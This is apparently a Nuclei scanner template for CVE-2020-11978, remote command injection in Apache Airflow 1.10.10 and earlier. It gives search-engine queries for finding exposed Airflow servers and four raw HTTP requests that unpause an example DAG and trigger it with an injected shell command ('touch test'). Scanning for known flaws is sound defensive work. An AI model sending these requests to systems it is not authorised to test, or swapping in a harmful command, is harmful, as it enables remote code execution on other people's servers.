Apache Airflow versions 1.10.10 and below are vulnerable to remote code/command injection vulnerabilities in one of the example DAGs shipped with Airflow. This could allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use).
PoC代码[已公开]
id: CVE-2020-11978
info:
name: Apache Airflow <=1.10.10 - Remote Code Execution
author: pdteam
severity: high
description: Apache Airflow versions 1.10.10 and below are vulnerable to remote code/command injection vulnerabilities in one of the example DAGs shipped with Airflow. This could allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use).
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: If you already have examples disabled by setting load_examples=False in the config then you are not vulnerable.
reference:
- https://github.com/pberba/CVE-2020-11978
- https://twitter.com/wugeej/status/1400336603604668418
- https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E
- https://nvd.nist.gov/vuln/detail/CVE-2020-11978
- http://packetstormsecurity.com/files/174764/Apache-Airflow-1.10.10-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2020-11978
cwe-id: CWE-78
epss-score: 0.94269
epss-percentile: 0.99931
cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 4
vendor: apache
product: airflow
shodan-query:
- title:"Airflow - DAGs" || http.html:"Apache Airflow"
- http.title:"airflow - dags" || http.html:"apache airflow"
- http.title:"sign in - airflow"
- product:"redis"
fofa-query:
- title="sign in - airflow"
- apache airflow
- title="airflow - dags" || http.html:"apache airflow"
google-query:
- intitle:"sign in - airflow"
- intitle:"airflow - dags" || http.html:"apache airflow"
tags: cve2020,cve,packetstorm,apache,airflow,rce,kev
http:
- raw:
- |
GET /api/experimental/test HTTP/1.1
Host: {{Hostname}}
Accept: */*
- |
GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1
Host: {{Hostname}}
Accept: */*
- |
POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: application/json
{"conf": {"message": "\"; touch test #"}}
- |
GET /api/experimental/dags/example_trigger_target_dag/dag_runs/{{exec_date}}/tasks/bash_task HTTP/1.1
Host: {{Hostname}}
Accept: */*
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(body_4, "operator":"BashOperator")'
- 'contains(header_4, "application/json")'
condition: and
extractors:
- type: regex
name: exec_date
group: 1
regex:
- '"execution_date":"([0-9-A-Z:+]+)"'
internal: true
part: body
# digest: 490a00463044022001fbf286f9f89ab3545bdb12cc4542e287316f6dd49ffe265091a81bdb182c6a022057c1776f08196a88efdbc0b87543536fced32ed332debef6d4e343afef60e6e6:922c64590222798bb761d5b6d8e72950